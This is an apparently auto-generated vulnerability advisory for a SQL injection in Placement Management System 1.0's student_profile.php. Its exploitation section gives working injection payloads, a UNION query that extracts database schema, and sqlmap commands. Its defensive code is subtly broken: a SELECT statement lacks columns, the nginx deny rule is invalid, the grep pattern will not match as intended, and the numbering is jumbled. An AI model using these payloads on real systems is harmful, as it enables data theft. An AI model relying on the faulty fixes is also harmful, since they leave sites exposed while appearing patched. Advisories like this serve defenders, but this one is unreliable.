How CVE-2025-4724 Works
This vulnerability exploits improper input sanitization in the `ID` parameter of `/student_profile.php` in Placement Management System 1.0. Attackers inject malicious SQL queries through crafted HTTP requests, manipulating database operations. The lack of prepared statements allows arbitrary SQL execution, enabling data theft, modification, or deletion. Remote exploitation requires no authentication (CVSS:4.0 AV:N/AC:L/PR:N), making it critical. Public exploits leverage UNION-based or blind SQLi techniques to bypass security checks.
DailyCVE Form
Platform: Placement Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/27/2025
Prediction: Patch by 06/10/2025
What Undercode Say:
Exploitation
1. Recon: Identify `/student_profile.php` endpoint.
- Injection: Append `’ OR 1=1–` to the `ID` parameter.
- Exfiltration: Use UNION queries to extract DB schema:
ID=1' UNION SELECT 1,table_name,3 FROM information_schema.tables--
4. Automation: Script with `sqlmap`:
sqlmap -u "http://target/student_profile.php?ID=1" --dbs
Protection
1. Input Validation:
if (!is_numeric($_GET['ID'])) { die("Invalid input"); }
2. Prepared Statements:
$stmt = $conn->prepare("SELECT FROM students WHERE ID = ?");
$stmt->bind_param("i", $_GET['ID']);
3. WAF Rules: Block SQLi patterns:
location ~ .php$ { deny /student_profile.php?ID=; }
4. Log Monitoring: Alert on repeated SQLi attempts:
grep -i "union|select|--" /var/log/apache2/access.log
Analytics
- Attack Surface: High (public-facing PHP).
- Exploitability: Trivial (no auth required).
- Mitigation Complexity: Low (code fixes well-documented).
Post-Patch Checks
1. Verify patched version:
curl -I http://target/ | grep "X-Powered-By: Placement Management v1.1"
2. Rescan with `sqlmap`:
sqlmap --url="http://target/student_profile.php" --skip="id"
